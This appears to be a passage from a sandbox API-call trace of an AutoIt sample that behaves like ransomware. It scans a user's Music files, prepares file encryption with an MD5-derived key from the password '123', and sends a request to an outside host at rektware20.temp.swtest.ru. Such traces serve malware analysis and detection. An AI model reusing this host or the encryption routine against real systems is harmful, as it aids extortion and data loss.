lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ijg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ogy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.988] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.988] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.988] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.988] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.989] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.989] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.989] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.989] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.989] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c) returned 1 [0064.989] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.989] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.989] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.991] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.991] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.991] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.991] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.992] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.992] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.992] CloseHandle (hObject=0x0) returned 0 [0064.992] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.992] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0064.992] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.992] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.992] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.992] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.992] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.992] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.992] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.992] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.993] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.995] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.995] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.995] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.995] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.995] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.995] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.995] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.995] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.995] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.996] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.996] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab330) returned 1 [0064.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.996] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.996] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.996] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.997] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.997] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.997] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.997] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.997] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.998] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.998] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.998] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.998] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.998] CryptCreateHash (in: hProv=0x17ab330, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.998] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.998] 